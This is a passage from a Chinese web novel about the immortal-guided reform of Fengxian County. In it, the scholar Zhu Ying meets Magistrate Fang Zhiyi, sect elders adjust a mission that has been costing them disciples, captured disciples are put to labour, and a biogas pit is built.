敢这么做的一般都是小摊贩,毕竟没有固定店铺地址,不怕被人记住,索性能骗几个是几个。 等到后面贪便宜的人买回家洗个几次就发现不对劲了,但此时那摊贩早就跑远了,只能暗叹倒霉。 等到吃了亏,大伙就只敢在店铺内买了。 且在店铺里买也需要去大店,若是运气不好,去了那种坑人的黑店,回到家发现被骗了,去找个说法说不定还会被冤枉是自己偷偷换了布料。 如此一来,倒是惹得更多百姓更愿意去那新开的店铺购买,毕竟从那里买到的百分百是真货,且此店名誉和服务态度甚好,别说买到假货,就算买回家发现有略微瑕疵,只需要拿着本店发票过来即可退换。 这一对比,哪家更适合去就很明了了。 很快,这新布料店就以一个极为恐怖的速度扩展,吴掌柜原先还觉得此店铺背后说不定并非如同对方所说那般势力强大,但等看到如此恐怖的扩张速度后,顿觉先前自己可能是真的想多了,这很明显对方势力绝对不可小觑。 其实这是打了个信息差而已。 负责运营此布料店的商人叫做李思。 如何能在黎州不惊动那些真正只手遮天的人物,同时还将店铺开起来,他是先竖立一个子虚乌有的背景,而后利用各方的消息和软肋,多方求合作。 谁都以为自己是独一份,但实际上不过是李思此人多线操作而已。 且更巧妙的是,此人了解布料店的定位并非是那等高官,而是中下层阶层,所以李思在和他们聊天会面时,往往会让自己处于一个完全主导的位置,第一眼便压制对方的气焰,若遇到那等不好收拾的,再用真假消息混合着来一套,基本上也事成了。 偶有遇到那种软硬不吃的,李思索性做出拒绝之态,表明自己看不上这种人,以后别合作,别来往。 布料特别,再加上态度高傲,倒是一时半会吓退了许多人,再加上这布料确实有赚头,一时间市场很快便被这新布料占据。 且因为棉布上层需求并不多,并未察觉,所以李思扯虎皮的行为倒是还不曾被发现,反而默默运转良好。 等到消息传回赵金构手中时,就连他都沉默了一瞬。 ——啊?这就扩张得这么顺利?要知道他原先可是做了好几种预备方案的,结果第一版就轻松成功了? 有些不敢置信,但等到看完李思写的大概内容后,赵金构不免拍手叫绝。 “此人可真是一鬼才,竟能靠着这种手段顺利完成扩张,看来百才堂里还是有不少能人的。” 赵金构不免感慨。 此人是他在百才堂中认识的,李思说自己愿为了仙人而加入百才堂,在跟他打了几次交道后,赵金构当时就觉得此人办事很有手段,这才将这一事交给了他,倒是没想到他竟然完成得这般出色。 这会便觉得百才堂还是得继续开办下去,毕竟需要的时候是这能从里面找到人啊。 进百才堂和仙盟不同,进入百才堂必须要有擅长之处,且还需要登记,现场演示后才会将此人记录在册。 只要被记录上了,日后收到高薪资工作的机会概率还是很高的。 所以才会引的这么多人过来想入驻百才堂。 且入驻百才堂的,逢年过节便会给发放一些家用物品,譬如仙师旗下的粉条,豆类制品,酱料,酒类作为福利。 倒是不值很多钱,但是谁要是逢年过节能收到这东西的,别提多有面子了,毕竟这可是只有入驻百才堂才有的待遇。 所以即便加入百才堂暂且没有合适的工作,但为了这些小福利,和隐藏的被尊重,大伙对于加入百才堂的热情那是丝毫不减。 至于在黎州的这消息,赵金构自然将此事回报给了方大人,方知意表明了解后,倒是顺带和那位传说中的祝家天才见了一面。 其实原先祝应不打算拜访这位县令大人,毕竟她还没正式加入仙师旗下,还算不上是同事,且她现在的身份无论如何也不是能够轻易见到县令大人的。 但巧合的是,没故意相见,但二人却在茶楼遇到了。 既已遇到,方知意自然邀请对方和自己一起品茶。 连带着里正娘子,三人一起。 里正娘子倒是多次见过方知意,毕竟方知意经常会上山去借阅书籍,一来二去倒也认识。 今日有缘,祝小娘子能和方大人意外遇到,不可谓不是缘分。 其实说实话,里正娘子对方大人的评价也很高。 十六岁的年纪,将风仙县运转得如此好,且无论人品亦或是心智,里正娘子都觉得方大人和自家祝小娘子差距并不大,甚至她还想过,若方大人和祝小娘子岁数一样的话,两人估计会成为很不错的朋友。 不过现在祝应已有三十二岁,两人之间的年纪差距可是整整翻倍。 方知意看着眼前挺拔如松柳的祝应不免微微惊叹。 ——当初情报上说黎州祝时仿若那月下仙人,当初她还觉得此话甚是见识短浅。 但看到祝应时,方知意倒是在脑内立刻描摹出了那画面。 既然是龙凤胎,还能顶替成功,自然是因为二者长相很相似。 如今看到眼前之人,方知意倒是彻底信服了这话。 祝应的面容没的说。 而且,长得比她要高一些。 方知意观察祝应的同时,祝应也在打量着她。 其实早就在一早进城后,祝应就听到过不少人念叨着的方大人。 百姓提起方大人,那便是一水的好评,且从众人口中得知,方大人此人勤勉聪慧,又得仙师权柄,可谓是春风得意。 但令人敬佩的是,方大人廉洁为民,从未自持县令身份做过超出这个身份以外的事。 光是从名声这一点,就足够祝应描摹出此人的画像和性格。 据说方大人年仅十六,做派严肃。 祝应倒是不免惊叹——十六岁,比想象中年轻许多。 虽说她当初也是十六岁做了吏部侍郎,位置足够高,但又如何,一来不能承认自己女儿身,二来做事束手束脚,三来除了提出建议,不曾为民众做一件实事。 和眼下百姓口中提及到的方大人不同,她完全差了方大人一大截。 心中暗自生出一股对后辈的感慨和欣慰,而后又叹息自己不是此地生人。 不过这复杂又欣慰的心情被祝应藏得很好,里正娘子引着她在风仙县转悠。 等看到报社时,祝应略微好奇。 知晓这便是以往的报舍后,她先买了一份报纸,而后展开细细看下去。 买了两个版本的,有拼音和无拼音。 祝应首先对拼音有些好奇,等知晓这便是扫盲班教导的成果后,她不免惊叹。 ——简直是神来之笔,这拼音学起来可要比学懂汉字简单多了,用最简单高效的成本教会百姓们从报纸上获取信息,让对方能够迅速而且高效的理解所下的决策,改变,这绝对是一个天人一般的发明。 稍微看过拼音后,祝应心中微微思索,倒是很快学会了此物的运用。 而后她继续若有所思地看着报纸,想看清这报纸上都写了什么东西。 首先映入眼帘的是报纸的排版,设计一目了然,让人一眼就能看到本期重点。 目前的话,本期重点在于“联合村落”这件事。 稍微打量几眼,祝应倒是对这联合村落一事颇为感兴趣。 ——很有用的策略。 一来安抚流民,二来提升凝聚力,三来这件事无论什么时候都需要干,但现在干绝对效果是最好的。 这个时机卡得非常巧妙。 一般这种策略都是县令下达的,祝应不免对不曾见到的方大人更加多了几份好奇。 除却对这位方大人好奇之外,祝应倒是对风仙县的改变也是颇为惊叹。 十六年前和现在是完全变了个模样。 如今的风仙县看上去充满希望。 这个词祝应自从学过后,从未用过。 以往她觉得即便是最繁华的黎州元城,这个词语也不适合用来描绘。 元城的希望只属于高官,希望和百姓,和普罗大众毫无关联。 她自绘画城镇下水系统时曾去了不少地方,去的地方越多,便越觉得只要身处此世道,存活本身就很荒谬。 希望这个词,对于女人,对于普通百姓,是永远不会出现的存在。 而现在,她却真心觉得,这里很适合用上这两个字。 第175章 上心 祝应觉得心里冷漠的一处正在被眼前风仙县的一切重新温暖起来。 这里充斥着和别的地方完全不同的感觉,——不是一种无奈感,而是有一种你只要努力,你就会有所收获,你的生活就不会亏待你的感觉。 若一个普通百姓生在此地,你只需要规规矩矩地上扫盲班,而后是初级班,中级班,高级班。 等毕业后,展开报纸,会告诉你何处有上工地方,需要什么条件,便有对应的工作等着你去做。 而根据能力不同去做不同的工作,但统一一点便是,不会说会让人饿死,劳无所得。 在此地工作,工钱给的高,日常消费便宜,幸福感高。 吃穿都不用愁,因为价格已经被控制得相当优惠,且选择性很多,至于生活的便利程度,至少祝应本人是觉得沐浴,马桶,沼气,对生活的改变实在是太大了。 且此地学堂一年只收费一两,这在祝应看来和免费没有区别。 且在风仙县内,祝应很快就发现此地女子的地位比原先高了许多,一来是不曾看到过女子被丈夫暴打,二来是女子在街头上工的身影多了起来,三来是学堂内女子的数量几乎能和男子持平,四来是转悠了一路,竟然不曾看到过有弃女婴的。 当然,这些发现只是祝应得到的最表面的消息,但等她微微沉思,便很快能推导出来这一切形成的原因。 ——应该是仙人的指引。 若起初不用方大人起个开头作用,想来本地女子会一直处于一种被忽视的弱势地位,但既方大人上任了,那便有了好的开始。 再加上学堂并不限制男女,且即便是女子也能找到不少做活的地方,不至于说会被认为是累赘,这才大大提升女婴存活概率,以及女子入学率。 入学后,女子中若有优秀人物拿到好工作,则更会刺激别家好好养护女子,而非像原先那般百般忽视。 这一系列正反馈,倒是很快便促进了本地女子地位的提升。 祝应想到这点,难免面露惊愕,而后露出敬佩神色。 为仙师,也为方大人。 路上走时,她倒是遇到了一条街,异常热闹。 过去一看,发现这街道上的人竟然都挤在一门店边,伸长脖子,似乎在看着什么。 祝应难免好奇,这会不顾里正娘子劝阻,坚持过去看了看。 等看清楚其中内容后,她不免微楞,而后唇角带笑。 ——竟然是一处画室。 这画师画得真不错,至少在祝应看来绝对是能排的上号的人选,这会倒是心有好奇 这种人物竟然会出现在风仙县?且更好奇的是,风仙县的百姓倒是对这风雅之物颇有追捧? 站在人群里片刻,祝应倒是很快知晓这里到底是做什么的了。 此画师名为宋白,是专门画仙师的。 据周围人所说宋画师将那仙人神韵描绘得那叫一个出神入化,但因为价格较贵,大部分人买不起,又想看看仙师真容,宋画师便展览画作,好让众人能看到仙师真貌,也算是做了一件好事。 听清楚这内容后,祝应也产生了好奇,好在她长得高,眼神不错,离得稍远也能看清楚其内画了些什么。 等看清楚那画作上内容后,祝应倒是不免惊叹 不怪看的人多,而是确实画得不错,仙师的真容她见到过,真人带来的震撼绝对要比画作来得多,但这画已经将仙人的容貌描绘得有七分相似,神韵也画了出来,就祝应来看,此宋白绝对是个高手。 不说别的,整个黎州元城,祝应自认为甚至没有人能将仙人面貌还原到这种程度。 周围人还在笑着说着要攒钱买一副回去供起来。 祝应退出来,在这条街上看了看。 发现一条街都是刻着仙师画像的木雕,画像,亦或是别的便于携带的小画。 祝应细细查看后得出结论,还是那位叫宋白的画得最好,最为传神。 且看来仙师在风仙县的影响力十足。 偶遇有卖画册的,本来祝应只打算随便翻看一番,但谁能想到,这一翻开,倒是颇为惊讶。 这画迹很像宋白的手法 倒是摊主看到她沉思的模样忙开口道:“您好眼力,这便是宋画师的亲作,也就是画册的主人着急用钱,把东西寄存在我这里让我帮忙售卖,不然这画册可是轻易不会出现在市场上的。” 祝应没全信他这话,不然为何放了许久不曾卖出。 等到交涉一番,砍价后总算将此画册拿在手心翻阅。 不得不说,看宋白的画作和欣赏美景没区别,祝应看得十分投入。 这内容大概讲的是仙人诞生,带来神种,——祝应猜测应当就是山头上农田内的那些种子。 带来庇护孕妇的好运,将之附在赐福的食物上,——这个祝应知道,是那个名为酸辣粉的食物。 一招就击杀风仙县贪官,以及前来侵犯的敌人,——这点祝应听里正娘子说过了,也正是因为这一场,才让风仙县彻底归于仙师管理。 而后仙人为拯救众人,决定建设仙盟。 祝应沉默地看着最后的剧情,心里知道这是为何。 ——吸引流民前来风仙县,毕竟建设本县,扩张太需要人口了。 这画册她看明白了,最终目的是想引出仙盟这个概念,想来是为了某件事造势。 思来想去,祝应觉得只能是寻找一个合适的幌子吸引流民前来,且倒也并非是谎言,这地方对比其他地方,确实和桃花源一般。 何来欺骗一说? 将画册合拢,脑内缓缓思索目前所看到的一切,祝应不得不承认,风仙县,确实很好。 而她现在几乎能确认,她所期待的世道便是世间百姓能拥有和风仙县相差无几的生活。 如果说跟随仙师,为那位效力能更快推进此世道来临的话,祝应觉得她不必再犹豫。 ——这完全是和她内心重合的方向。 从回忆中回神,方知意倒是已经亲自为她倒了一杯茶。 祝应忙客气推诿。 “如何能麻烦方大人替在下倒茶。” “这说的什么话,晚辈一直听闻前辈过往,今日恰好相遇,自然要邀请前辈一同饮茶论道,还请前辈不要嫌弃晚辈冒昧。” 祝应有些愕然,毕竟在她的想象中,方大人应当是更为严肃的,而非如今这样。 但既然对方已经将姿态放低了,她作为一个早就并非是吏部侍郎的闲人,自然也客气得很。 两人互相谈论一番后,双方倒是更自在了。 毕竟天才之间都渴望对话,但又偏偏难寻到知音。 和祝应对话期间,方知意不免内心震撼。 ——这就是十六年前震惊整个黎州的天才? 果然惊才艳艳。 想来也是,黎州元城属于最中心之地,在那里读书的,非富即贵,能在这样一群人中脱颖而出的,必定是妖孽一样的人物。 尤其是和祝应越是交谈,方知意便越是难掩心中欣喜惊诧。 见多识广,若是让她看的话,她距离对方的差距还有一截。 而在祝应眼内,倒也对方知意颇为惊异。 她原先就对素未谋面的方大人好感颇高,这会见了真人,谈论下来后就知道,此人绝对是真才实学,且天分不比她低,尤其是方大人博闻强记,有许多新奇的见解是她不曾听过的,两人交谈起来,竟是一时间忘乎所以,越谈越是投入。 等到后面,二人之间恨不得化作那知音,关系自然拉近了许多。 祝应不免虚心请教她原先不了解的沼气和马桶是如何运作在本县的。 方知意解释是连通了下水系统和新修建了管道输送系统。 在听到沼气系统和下水系统覆盖整个县内后,祝应顿时惊叹这巨大的工作量。 倒是方知意表示,先前仙盟招收到了足够的工匠,足以完成这项改造的大人任务。 祝应不免连连称赞,“我初次听到仙盟时,便觉得这仙盟的设立巧妙得很,若是继续保持,未来绝对会是最为有用的力量。” 被祝应直白的称赞让方知意心口不自觉跳动,像是后辈被前辈鼓励了一样,这会不免强行淡定。 “当初也没想到会有这般好的效果,倒也不枉费我们为它付出许多努力。” 这话吸引了祝应的好奇,等听到为了仙盟特意画了画册,编了戏曲,请了戏班子出去游历唱戏后,祝应不免连连称赞。 而方知意则是提到了原先祝应曾设计到的城镇下水系统。 不由地满眼敬佩:“祝姐姐,你这下水系统和仙师给我们的下水系统参考几乎没太多差别,也幸亏当年他们采用了你的下水系统设计,不然整个风仙县要改造起来绝非易事。” 祝应倒是好奇。 “仙师给的设计图?” 她原以为仙师不曾参与这么细微的管理中,但是现在看来,她的想法是错误的。 方知意缓缓点头,脸色敬佩。 “仙师实在是高出我等太多。 说来惭愧,我是看十步,仙师便是看百步,差距太大了。 且仙师素日只会给最关键的提示,大部分时候,都需要我等自己参谋,想来是为了锻炼我等的能力。 无论是,沼气池,学堂,扫盲班,亦或是报社,步步都在仙师的预料中,而我不过是勤勉的执行罢了。” 祝应微微一愣,而后脸色的敬佩之色更是深沉。 何故如此!仅仅是为了她们这样渺小的凡人,仙师何必要做到此等程度啊! 思来想去,只能是仙师心怀恻隐,泽被苍生。 尤其还是这般上心,这得需要耗费多少精力! 第176章 这对吗 几乎瞬间,祝应就确认自己应当立即同意为仙师效力了。 要知道遇到这样一位值得为之付出的圣人实在是不容易。 她何必要让一身才华浪费?还不如用自己的本事帮着仙师,好让仙人能更快地一统天下。 之前她十六岁时,那会隐约就有分散之意,那另外两州的人找过她,但均被她巧妙拒绝。 不过她已经离开十六年,属实不清楚现在目前的祝家最后支持了谁。 原先她还会去看看,想查清楚这件事,但现在,祝应却觉得没这个必要了。 她已经找到了那个值得让她效力的方向。 无关对方是神仙,是神通广大的仙人,而仅仅是因为他的理想和自己的理想一致。 她看得出来,无论是她亦或是方大人,都是这样的人。 ——若是用她刚学会的词语来描述的话,那就是理想主义战士。 想清楚这些东西后,祝应和方知意接下来只是随便聊聊,而后等方知意离开后,祝应这才出门去找里正娘子,要和她一起回去,好亲自拜见仙人,表明自己的决心。 里正娘子脸上的兴奋不是装的。 虽说她从一开始就知道祝应若是了解了仙人所做的一切的话,她一定会同意替这位效力的。 二人快马往回赶,而此刻,黎州,景旭宫内则也是出了大事。 “池长老的魂灯灭了。” 景旭宫内负责监管魂灯之人扫了一眼,而后有些诧异开口。 “池严此人虽说人品一般,但我等都知晓,他手上的功夫可不是假的。 此次他先是急匆匆离开宫内,而后却身死,这其中绝对有什么我们不知道的事。” 说话之人正是负责掌管魂灯的百长老,其余人便是别的长老。 这会各个交头接耳低声谈论。 “最近此事确实蹊跷,你们没觉得从上次搜魂开始,池长老就不对劲了?” “是啊,他那日确实古怪,但之后无论如何都问不出任何东西,和那邱老一样。” “那邱老结局你可是看到的,谁愿意去问池长老那些事?到时候他死了,宫内岂不是又少了一大助力?” “你这人,老夫何时说过要去问他了?再说了,他精着呢,一句话都问不出来。” 来人也不虚,面对质问的人,倒是立马呛了回去。 再次提及当日,宫主顿时脸色难看。 其余人看到宫主脸色,倒也不敢再继续多说,不等他们继续开口,便来了弟子汇报新的情报。 “报告宫主,外门弟子有不少人自从去了那风仙县后再也不曾回来。” 众人难免噤声。 宫主淡淡点头,而后让此人退下。 等到门关闭的瞬间,他那张淡定的脸庞逐渐变得暴躁。 “风仙县,里面到底有什么。” 其余人则是瞪大眼睛,不敢多说话,只能互相用眼神看向对方,各个眼露惊诧。 等到得到允许说话的命令后,几人这才开口。 “看来这风仙县颇有古怪,不如将那外门弟子的日常任务撤下?不然日后恐怕要失去更多外门弟子。” 虽说外门弟子有很多,但若是一直失去的话,他们补充的速度就要赶不上加入速度了。 且这些外门弟子里有一些是有财力的,若是死得太早,岂不是浪费? 倒也有人开口:“不如将难度提高,奖励提升,这样的话,实力不够的自然不想送死,只有实力差不多的话才敢去挑战,这样也不至于会浪费许多外门弟子,且更为重要的是,这样可以慢慢让此任务淡化出众人视野,不至于说突然取消,反而让众人觉得我们景旭宫有让人送死的想法,日后就算真出事了,我们也有更为合理的解释。” 这说法倒也十分合理,一时间几人微蹙眉头,而后不约而同地看向了宫主。 宫主微微犹豫片刻,还是选择了徐徐图之。 很快,外门弟子就发现那探索风仙县的任务难度等级提升了,且给的奖励更为丰厚,——甚至可以直接升为内门弟子! 这对于他们原先晋升无望的人简直是一件大好事。 但同时,众人也难免猜测此任务难度到底有多大。 倒是有消息灵通之人发现原先那一批探索风仙县的外门弟子都没回来,原先蠢蠢欲动的心立即消散了几分。 当然了,这种人的数量自然很少,毕竟大部分消息都需要特殊渠道才能了解到,尤其是景旭宫外门弟子数量众多,就算少了一批次人,一时半会也发现不了。 这就是为何景旭宫高层敢这么做的缘故。 就算有少部分人消息灵通,但指望景旭宫内会有那种愿意随便将消息告诉别人的人? 不如去做梦来的现实一些。 不过在改版后,倒是不少人果断放弃了这个任务,毕竟此任务能给这么多,肯定是很难做,自己实力不够,还是不要去送死了。 倒也有人缓缓思索。 ——按道理景旭宫内不会下达太超过外门弟子水平的任务,不然那岂不是浪费外门弟子? 既有危险,不然联合起来,共同去那风仙县探索才是。 至于奖励的话,可以看着分配。 这么想的人不少,很快,便组成一支支小队,打算前往那风仙县。 倒也有人看得透彻,早就知晓景旭宫的皮子下到底有多么不把他们这些外门弟子的命当回事,自然也不会轻易上当。 索性不再参与和这任务有关的事。 一时间,景旭宫外门弟子间倒是对此任务颇为关注,偶尔闲聊谈论的也全是此内容。 话说原先去了风仙县的那一批外门弟子,这会全被命令着去干苦力活了,毕竟这是方知意请教了仙师后得到的回复。 且她从仙师话语中推测出日后或许还会有不少景旭宫的人过来挑衅,若日后没重要人物,想来她可以直接处理,而非继续请示仙师了,毕竟仙师每天要操心的东西实在是太多了,她总不能拿这些小事去烦仙师。 而景旭宫的这些人则是陷入沉默,尤其是被压着前去做苦力时。 他们在牢内呆了有三天,三天只有中午有饭吃,吃的东西倒是奇特,虽然量少,但是还挺好吃,吃起来甜滋滋的。 ——其实中午给他们吃的就是断截的地瓜,不好放,也不好卖出去,索性给俘虏吃了算了,那狱卒还要瞪眼警告他们。 “真是走了狗屎运了,要是以前你们还能吃上这种好东西?” 说着,便将食物一股脑倒在地上,让他们自己去捡起来吃。 众人很想发怒,毕竟外门弟子中也有家境不错的,以前都是被伺候惯了的人,这会一时半会竟然要接受如此对待,自然心里不服,但想到前面寻凉那残酷的审讯手段,这会各个敢怒不敢言,只能伸手去拿地上的食物。 只是在看到狱卒离开后,其中有人便抬头表示自己就算饿死,也不会吃这个东西一口。 周围人有看热闹的,大部分都抱着谨慎的态度,毕竟此物他们不曾看到过,万一——有毒呢,或者别的不明效果。 拿着地瓜,众人面露犹豫,难免僵着脸,不愿意开口,毕竟这物不曾看到过,谁知道它滋味如何。 但无奈腹中饥饿得像是在燃烧,在吐了酸水,感觉自己再不吃可能会死后,这些饿急眼的人倒是尝试了一口。 他们不懂这皮是否能吃,索性全部咬下,一入嘴,那甘甜扎实的口感顿时就让众人面面相觑。 ——等会,这地瓜味道比他们想象中的好吃太多了!甜的吃起了和放了糖一样。 这物到底是何物,为何他们不曾吃过? 想到自己接下的任务,众人这会倒是品出不对劲了。 难不成这风仙县确实有古怪,毕竟这看似寻常的食物,他们可从未吃过。 有人开始暗自动心——这便是一个突破点,得好好活着,日后或许能看到更多奇特的东西,等到时候找到机会,不怕这任务做不完。 像这样想的人不少,一时间众人沉默半响,而后默默捧着地瓜吃得香甜。 倒是先前嫌弃的那几人,这会看到众人啃得香甜,倒也实在受不了,也跟着吃。 一入口,嫌弃顿时转变为惊讶,还不等做出反应,就有人嘲笑他们。 “不是说就算饿死也不吃?我琢磨你不吃把这玩意给我吃呢!” 这几人顿时脸红,而后脸红脖子粗警告对方,“滚,你算个什么东西?” 来人既然敢挑衅,自然是对自己实力有信心,这会竟然是互相打了起来,等到最后,是狱卒进来给了他们一人几鞭子,骂了几句。 狱卒抽人时,众人看得真切,那鞭子虎虎生风,一鞭子下去,立马皮开肉绽,血珠子成串地往下流淌。 “闭嘴!都坐牢了还闹什么?还嫌身上有力气没处使唤?” 再给了几鞭子,挑衅斗殴的几人各个哀嚎着翻滚,之后便被单独关押到别的地方。 这招杀鸡儆猴倒是让不少人心生寒意,这会各个脸色惨白,心想着可千万不要再惹事了。 好好听话,从这古怪的风仙县里探查到更多消息,然后逃出去才是他们应该做的事。 倒有有心人发觉这狱卒的身法很是独特,甚至不像是普通人,因为他呼吸和打人的节奏非常有力,看着应当是学习过什么特殊的身法才是。 一时半会,众人顿觉风仙县更加神秘了几分,为何会连一个小小的狱卒也是出手不凡? 狱卒:???你们说我?我只是按照规矩训练了仙师大人让所有人都练的身法啊? 第177章 躺平 这群来自景旭宫的外门弟子们本以为会被一直这般囚禁,但谁都没想到,在第三天时,倒是被狱卒们挨个牵引着去做活。 不敢多问,毕竟没人会回答他们的问题,这会只能瞪大眼睛跟着狱卒,麻木地往前走。 自先前被剥光衣服将身上的符咒全部搜刮走后,这些外门弟子可谓是叫天天不应叫地地不灵,毕竟没有符咒防身,且不能通风报信,他们要论起体力和武术自然是不如官兵,这会不免心头绝望。 尤其是被带着走时,各个惶恐,不知道之后会遇到什么,——这会后知后觉感觉到风仙县或许真不对劲,连带着狱卒带他们去上工,这会他们也觉得是要借着机会将他们扔进熔炉炼丹用。 毕竟听宫内说,邪修便都是这么干的。 正是心中忐忑时,就被这狱卒带着去了要做活的地方。 本以为或许是个炼丹房,或者别的更加危险的地方,但等看清楚是建造房子后,众人难免楞在原地。???这对吗?合着心理建设白做了? 正是纠结犹豫时,便听狱卒喊他们过去,挨个指派着他们干活。 当然了,这些景旭宫的俘虏干的是最累的活计,且要和流民们分开,省得惹事。 最要紧的是,除了供应吃饭,工钱什么的想都别想。 但就算是这样,众人在吃到一口热乎饭时,还是被震撼到了。 ——等等,不说别的,这风仙县饭菜是真好吃啊! 完全是他们没吃到过的东西,譬如豆腐,譬如粉条什么的。 倒有人开始怀疑人生。 这里俘虏都给吃这么好,是不是说明他们误解风仙县了,此地并非那等诡异之地,或许是他们对此地有所误解? 毕竟要是真的那么坏,为何不给他们吃最烂的东西,他们可不是没见到过那些俘虏都吃什么,泔水一样的饭菜,没油没盐,哪像这里的饭菜,起码有滋有味。 但实际上则是因为仙师旗下的豆腐厂每日会有吃不完的豆腐,做多了除了作为福利让员工带走后,剩下的便充公使用,且再加上食盐价格便宜,两文钱一斤,和白给一样,做饭自然舍得放,有滋味,且做饭的人做习惯了,倒也没想起来要虐待俘虏。 开玩笑的,实际上也是方知意下令不要虐待俘虏,毕竟还要留着他们建设房屋,既然有白给的劳动力,不用是傻子。 且方知意有种预感,或许她之后还能得到不少从景旭宫来的白给的劳动力。 外门弟子不知晓这些,只是觉得那豆腐绵软好吃,尤其是加了辣椒炒了后,配着地瓜吃起来甚是香甜。 当然了,干活是绝对不允许偷懒的,毕竟有狱卒拎着鞭子看着他们,若是偷懒的,一律挨鞭子。 先前众人不是没看过那一鞭子下去,人瞬间皮开肉绽,这会自然不敢动小心思,只想着看日后有没有机会逃走。 而等到工作到下工时,天色已晚,众人被狱卒捆起来,心中顿时有了新的想法——多观察几日,等日后趁着天黑,他们可以趁机逃走。 尤其是原先一个小队的,这会各个用眼神交流,刚交流完,众人便觉得眼前瞬间一亮。 那亮光恍如白昼,让他们不由地瞪大眼睛,瞳孔皱缩。 等到被这白光刺痛眼睛,好容易恢复过来后,众人这才眯起眼睛去看那发出亮光的物什。 造型奇怪的灯具。 数量不少,但仔细观察就会发现,此灯具照射范围极广,且亮度很高。 先前想逃跑的想法这会顿时落空,众人难免失落震撼,而后胸口充斥着疑惑。 不是,这到底啥啊? 一点灯,亮得和天亮了一样,他们还玩个鸡毛! 这会愤恨地被狱卒拉扯着塞进牢房,倒有人精试图冲着狱卒打听此物到底为何,就被狱卒狠狠踹了一脚,警告着不许多打听。 此人惯于经营人际,被踹了也不恼火,转而从兜里捏出几缕金丝塞进狱卒手心。 这会忙殷勤地冲着狱卒眨眼。 “狱卒大哥,这也不是大事,我就是好奇想问问,还望大哥给小人讲解一番。” 先前他用这招百试百爽,毕竟这世道他可没遇到什么不贪财的人,这会早就保持了一个方便倾听的姿态,希望从这狱卒嘴里得到一些情报。 被贿赂的狱卒:???坏了,这厮冲我来的!自从仙师给全县的公职人员签订了契约后,谁都不敢接受贿赂,或者贪污啊! 毕竟敢做这些事的人的脑袋现在还挂在城墙上呢! 再说了,他倒也不完全是顾忌此契约,而是因为本身方大人上任后给他们的工资提了提,只需要好好干自己的活计,完全能够过得舒服,何必非要沾染那等污秽之事,让自己的良心过不去? 反正不说别人,他就是这样想的,只要生活过得去,他还是想做一个好人。 而非被迫做出不想做的事,只为了生存。 给出金丝的此人则在看到微楞的狱卒后,心中不免喜气洋洋,——他就说吧,这世道能有什么人能正直的起来,真正的好人,早就被这个肮脏的世道吞噬了,何况眼前不过是一个狱卒而已。 结果还不等他听到自己心中所期待之事,就见眼前的狱卒上下打量着他,而后冷哼一声。 “贿赂我?你也不打听打听,我是你能贿赂的?” 这会狱卒伸手看着手心的金丝,脸庞露出一抹好奇和淡淡的残忍。 “这金丝藏在你发间?” 此人被这目光看得一愣,心想这情况他没遇到过啊,还不等在心中将这话嘶吼出来,便看到瞬间身旁多了几个狱卒,将他架起来去了另一个牢房 不是,等会,这不合理吧? 此人瞪大眼睛,心想坏了,这群人是冲着他金丝来的,不局限于那几根,而是想要更多! 该死,他怎么能忘记,这世道混乱,而这古怪的风仙县显然更为混乱啊! 等到被人压着去了新的牢房,拷问一番后,他所有藏起来的金丝全被抽出来,而后放在一旁。 而此人脑袋上的毛发早就乱了几分,这会看着眼前的狱卒,倒是郁闷得想哭,这会忙求着对方放过他。 倒是这些狱卒并没有像他所想那般将这金丝分掉,而是由一小吏走来,将金丝带走,且给他们四人一人加了十分的考核分。 四人互相对视,而后惊喜不已。 “十分?这么多?为何?” 要知道十分可以让他们每个月工资多领五百文了! 小吏微笑着解释:“这是方大人的意思,具体的小人不知,若各位还有疑惑,不如亲口去问大人。” 几个狱卒忙摇头。 开什么玩笑,方大人每天忙得要死,他们哪敢去找方大人询问? 只要实打实得了好处,他们才不想去找不痛快呢。 等小吏离开后,狱卒这会才看着此人警告道:“看到没,这就是贿赂的下场,你在这里呆着,好好反省。” 很快狱卒消失在牢房内,而被关押的人则是怀疑人生。 ——所以说加了考核分十分到底是什么啊,能比他的金丝还值钱? 疯了,这破地方彻底疯了! 若是单论每月薪资增加五百文或许四个狱卒不会这般高兴,因为考核分代表着日后晋升速度,且节假日福利更多,这样换算下来,只要他们在风仙县生活着,还为官府做事,那绝对是拿考核分更合适,而非冒着危险去拿什么幺蛾子金丝。 只不过这套系统外人是不可能知道的。 等到此人回去后,难免被同僚嘲笑了一波,但通过此事,众人也不敢再生出别的心思,毕竟对方的态度很明显了,杀鸡儆猴,不愿意多处理他们所折腾出来的破事。 连续几日,这群外门弟子已经从一开始干活还需要人监管,时刻想逃走,变成了就算不监管也不会逃走了。 不为啥,主要是因为观察了几天,这里实在是防守严密,若是靠着他们自己,逃脱的希望等于零。 崩溃过后,又被这里的饭菜治愈了。 一番心酸,众人很快就说服了自己,留哪儿不是留,权当在此处为了饭菜而苟着算了。 至此不再折腾,只盼望着景旭宫内大佬赶紧注意到此事,好前来解救他们。 但与此同时,众人又觉得这事基本上不可能,毕竟景旭宫别说来救他们,就算是内门弟子,除了说那种天之骄子宫内愿意搭把手,像他们这种没什么用处的外门弟子,估计是要在这里吃饭吃到死了。 各别心态乐观的,这会早就放弃抵抗,乖乖干活,等着吃饭,俨然一副没志气,混吃等死模样。 暂且不表这些人,早在几日前,仇师祖,仇哀,仇风三人此刻经历一路奔波,总算是到了永道宫内。 马车上有着方大人借给他们建造沼气池的工匠,以及带来的各项难找的建筑材料。 等一到永道宫后,这些工匠倒是很负责,率先干起了活,除却他们带来的特殊建筑材料外,绝大部分需要的普通建筑材料早就准备好。 这会仇师祖,仇哀,仇风三人看着工匠们率先挖掘土坑时,各个震惊。 “第一步竟然是要挖坑。” “废话,不然为何叫沼气池。” “?你再多说一句,老夫的符咒绝不饶你。” 看着这两人再次吵了起来,仇师祖索性假装没看到,转而细致地查看工匠的动作。 眼看着他们在挖好坑后,又浇筑了一遍糯米灰浆,而后便是通风,等待晾干。 与此同时,这些工匠们则是开始准备竹管。 第178章 考核 竹管? 仇师祖倒是若有所思,若是寻常竹子定是不能用,毕竟很容易腐坏,但若是小紫叶竹呢?这竹子可谓是最为坚固耐用的。 且话说这竹管的用途到底是什么? 正疑惑之际,就看到匠人除了做竹管,还做了铜管。 等一问才知,这铜管是用来接污水用的。 一时间,仇师祖倒有些头绪——他记得古法曾经记载过,污水经过发酵可产生一种特殊能量,难不成沼气便是如此形成的? 心中暗自猜测,这会看到工匠正将铜管掩埋在地下,那管道设计和走向一看便是符合他心中所想。 至于那竹管,仇师祖倒是也有了新的猜测。 ——应当是发酵产生的一种能量,这种能量可以沿着竹管流动,从而供给取暖,做饭等。 